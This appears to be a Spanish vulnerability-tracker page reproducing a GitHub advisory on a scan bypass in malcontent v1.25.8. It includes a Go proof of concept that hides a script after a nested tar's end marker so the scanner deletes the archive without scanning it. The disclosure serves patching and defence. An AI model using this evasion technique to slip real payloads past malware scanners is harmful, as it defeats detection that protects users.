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Advisory · GitHub · Go · github.com/chainguard-dev/malcontent

GHSA-FHHV-5R7X-FGJW

malcontent archive scanning bypass via unvalidated trailing tar data

Parche disponible
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CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición99 dDesde la divulgación, 12 ago 2026, 8:40 a. m.
Detección98 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.25.9
Monitoreo
Detectada +1
12 ago 26
18 nov 26
20 nov 26
12 ago 26
6 sept 26
1 oct 26
26 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-FHHV-5R7X-FGJW divulgada · CVSS 6.5 (GitHub)
Remediación Parche v1.25.9 github.com/chainguard-dev/malcontent · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`malcontent` v1.25.8 drops trailing bytes appended after a nested tar archive's end-of-archive marker. `ExtractTar` reports success, so the nested archive is deleted and the appended bytes never enter the YARA scan corpus.

Affected version tested:

malcontent v1.25.8
commit da07c3f6bb972d148f7647c696db45ca9aec1d32
Details

`extractNestedArchive` removes the nested archive when extraction returns nil. However, Go's `archive/tar` reader stops at the two zero blocks marking the end of the archive, and `ExtractTar` treats that termination as success without checking trailing data. A valid tar followed by a malicious payload therefore takes the deletion path, leaving the payload outside the scan corpus.

Relevant code in the tested commit:

  • `pkg/archive/archive.go` — `extractNestedArchive` (retention guard `if err == nil { os.Remove(fullPath) }`)
  • `pkg/archive/tar.go` — `ExtractTar` (`io.EOF`/`io.ErrUnexpectedEOF` treated as success, trailing bytes never consumed)
PoC

The following external consumer of `archive.ExtractArchiveToTempDir` creates an outer `tar.gz` containing a nested tar with a payload appended after its end marker, then checks whether the nested archive and marker remain after extraction.

mkdir -p probe
cat > probe/main.go <<'EOF'
package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "context"
    "fmt"
    "io/fs"
    "os"
    "path/filepath"
    "strings"

    "github.com/chainguard-dev/malcontent/pkg/archive"
    "github.com/chainguard-dev/malcontent/pkg/malcontent"
)

const marker = "MALICIOUS_BYPASS_PAYLOAD_9f2c7a1e"

func main() {
    // nested evil.tar: valid tar (benign entry + zero-block marker) + payload appended AFTER the marker
    var buf bytes.Buffer
    tw := tar.NewWriter(&buf)
    tw.WriteHeader(&tar.Header{Name: "benign.txt", Mode: 0o600, Size: int64(len("benign-content"))})
    tw.Write([]byte("benign-content"))
    tw.Close()
    evilTar := append(buf.Bytes(), []byte("#!/bin/sh\n# "+marker+"\necho hidden payload\n")...)

    // outer.tar.gz containing the nested evil.tar
    f, _ := os.Create("outer.tar.gz")
    gw := gzip.NewWriter(f)
    tw2 := tar.NewWriter(gw)
    tw2.WriteHeader(&tar.Header{Name: "evil.tar", Mode: 0o600, Size: int64(len(evilTar))})
    tw2.Write(evilTar)
    tw2.Close()
    gw.Close()
    f.Close()

    cfg := malcontent.Config{ExitExtraction: false} // production default
    root, err := archive.ExtractArchiveToTempDir(context.Background(), cfg, "outer.tar.gz")
    if err != nil {
        fmt.Println("FIX_HELD:", err)
        os.Exit(0)
    }
    defer os.RemoveAll(root)

    found := false
    filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error {
        if err == nil && !d.IsDir() {
            if data, e := os.ReadFile(p); e == nil && bytes.Contains(data, []byte(marker)) {
                found = true
            }
        }
        return nil
    })
    fmt.Printf("nested evil.tar retained: %v\n", fileExists(root, "evil.tar"))
    fmt.Printf("payload marker found in scan corpus: %v\n", found)
    if !found {
        fmt.Println("BYPASS_CONFIRMED: hidden payload escaped the scan corpus despite the fix")
        os.Exit(42)
    }
    fmt.Println("FIX_HELD: hidden payload was retained and scanned")
}

func fileExists(root, name string) bool {
    found := false
    filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error {
        if err == nil && !d.IsDir() && filepath.Base(p) == name {
            found = true
        }
        return nil
    })
    return found
}
EOF

cd malcontent && git checkout v1.25.8
go build -o probe/probe probe/main.go
./probe/probe
echo "exit code: $?"

Expected output on v1.25.8 (bypass reproduced):

nested evil.tar retained: false
payload marker found in scan corpus: false
BYPASS_CONFIRMED: hidden payload escaped the scan corpus despite the fix
exit code: 42
Impact

An attacker who can submit an archive for scanning can hide a YARA-detectable payload after a nested tar's end marker. The archive is deleted as successfully processed, evading malware detection. `ExtractTar` should detect non-zero trailing data and retain the archive for scanning.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/chainguard-dev/malcontent< 1.25.9
1.25.9
v1.28.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/chainguard-dev/malcontent
Corregida v1.25.9 0 d v1.28.1 no afectada
Versiones corregidas1.25.9v1.25.9
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/chainguard-dev/malcontent/security/advisories/GHSA-fhhv-5r7x-fgjw

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.